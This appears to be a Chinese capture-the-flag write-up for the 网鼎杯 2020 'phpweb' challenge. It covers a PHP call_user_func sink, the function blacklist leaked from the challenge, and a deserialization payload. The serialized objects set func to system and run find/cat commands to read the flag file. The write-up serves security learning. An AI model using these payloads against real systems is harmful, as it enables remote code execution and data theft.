[网鼎杯 2020 朱雀组]phpweb

看一下源码

应该是输入的date 作为函数,value作为内部参数的值,将date()函数返回的结果显示在页面上

回去看的时候,意外发现页面有了新的跳转,观察一下发现,页面每隔五秒就会发生一次跳转

所以就抓包看看

抓包发现post传了两个数据,分别是date和输出日期的格式,func为函数名称,p为函数的参数,这两个值传到后端就会执行相应的函数

尝试执行system()函数来执行系统命令

输出了Hacker

应该是有黑名单进行了过滤,

看看能不能拿到源码

具体的函数有,file_get_contents(),highlight_file(),show_source()等

复制代码
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

发现类Test中的成员函数__destruct()函数执行了gettime()函数,而该函数则调用了关键函数call_user_func(),再看看黑名单中没有过滤unserialize()函数,此时想到可以尝试反序列化

对于反序列化

看了其他师傅的思路

复制代码
<?php
     function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
 class Test {
    var $p = "ls /";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
 
$a = new Test();
$b = serialize($a);
echo $b;
 
?>

call_user_func(func,p),就相当于执行func(p),将结果输出到页面上

system("find / -name flag*"):查找所有文件名匹配flag*的文件

system("cat $(find / -name flag**)"):**打印所有文件名匹配flag*的文件

还有一种

复制代码
O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

获取/tmp/flagoefiu4r93内容

复制代码
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

也是可以拿到结果

相关推荐
weixin_514253181 天前
428-uitars tmux
安全·web安全
介一安全1 天前
【Web安全】Blind XSS漏洞:从挖掘到防御
安全·web安全·xss
YaBingSec1 天前
玄机网络安全靶场:Jackson-databind 反序列化漏洞(CVE-2017-7525)
linux·网络·笔记·安全·web安全
TechWayfarer1 天前
网络安全溯源实战:78.1%网络攻击来自境外,如何精准定位攻击源
网络·安全·web安全
视觉&物联智能1 天前
【杂谈】-人工智能于现代网络安全运营的价值持续攀升
人工智能·安全·web安全·ai·chatgpt·agi·deepseek
IpdataCloud1 天前
远程办公网络安全中,IP查询工具如何保障数据安全?适用场景与落地指南
tcp/ip·web安全·php
YaBingSec1 天前
玄机网络安全靶场:GeoServer XXE 任意文件读取(CVE-2025-58360)
java·运维·网络·安全·web安全·tomcat·ssh
深邃-1 天前
【Web安全】-Kali,Linux配置(2):Java环境配置,Python环境配置,Conda使用,PIP配置使用,SSH远程登录
java·linux·python·安全·web安全·网络安全·php
wanhengidc1 天前
云手机是什么黑科技?
运维·网络·科技·安全·web安全·智能手机
轻舟行71 天前
ctfshow-Web应用安全与防护challenge做题笔记 长期更新
笔记·web安全·网络安全